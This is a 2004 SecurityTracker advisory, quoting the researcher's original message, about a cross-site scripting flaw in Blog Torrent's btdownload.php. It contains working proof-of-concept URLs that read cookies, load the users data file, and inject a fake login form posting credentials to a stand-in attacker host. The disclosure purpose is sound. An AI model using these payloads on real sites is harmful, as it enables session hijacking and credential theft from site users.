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Category:   Application (File Transfer/Sharing)  >   Blog Torrent Vendors:   blogtorrent.com
Blog Torrent 'btdownload.php' Input Validation Error Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1012452
SecurityTracker URL:  http://securitytracker.com/id/1012452
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 8 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): Preview Version 0.8
Description:   Lostmon reported an input validation vulnerability in Blog Torrent. A remote user can conduct cross-site scripting attacks.

It is reported that 'btdownload.php' does not properly validate user-supplied input in the 'file' parameter to filter HTML code. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Blog Torrent software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user. A demonstration exploit URL is provided:

http://[target]/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>

A remote user can exploit this to obtain username and hashed password information stored on the system. Some demonstration exploit URLs are provided:

http://[target]/torrent_blog/btdownload.php?file=<iframe%20src=../data/users></iframe>

http://[target]/torrent_blog/btdownload.php?file=<iframe%20src=http://[target]/torrent_blog/data/users></iframe>

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Blog Torrent software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.blogtorrent.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  variable 'file' in Blog Torrent 'btdownload.php' imput validation error (cross-site scripting)


####################################
variable 'file' in Blog Torrent 'btdownload.php' 
imput validation error (cross-site scripting)
vendor : www.blogtorrent.com/
http://sourceforge.net/tracker/index.php?func=detail&aid=1080615&group_id=109524&atid=654202
Preview Version 0.8 
vendor notified: yes exploit included:yes
impact:execute javascriptcode,remote file inclusion.
remote command execution.
####################################


Blogs torrent is a web php script for managing 
torrent links and users fron the blog and other options..

the variable 'file' in module 'btdownload.php'  have and input validation error 
and permits insert javascripts code and remote file inclusion, remote
command execution and...


 froof of concept :

get cookie session:
http://[target]/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>

insert content :

http://[target]/bittorrent_module/btdownload.php?file=<img%20src=http://www.google.es/images/logo_sm.gif>

insert remote web :

http://[target]/bittorrent_module/btdownload.php?file=<iframe%20src=http://www.google.es/></iframe>

insert remote data base:
http://[target]/bittorrent_module/btdownload.php?file=<form%20action=
"http://www.atacker.com/savedb.php"%20method="post">Username:
<input%20name="username"%20type="text"%20maxlength="30">Password:
<input%20name="password"%20type="text"%20maxlength="30">
<input%20name="login"%20type="submit"%20value="Login"></form>


atentamente
Lostmon (lostmon@gmail.com)

thnx to estrella to be my ligth 
thnx to all who believed in me


















-- 
La curiosidad es lo que hace mover la mente....
 
 


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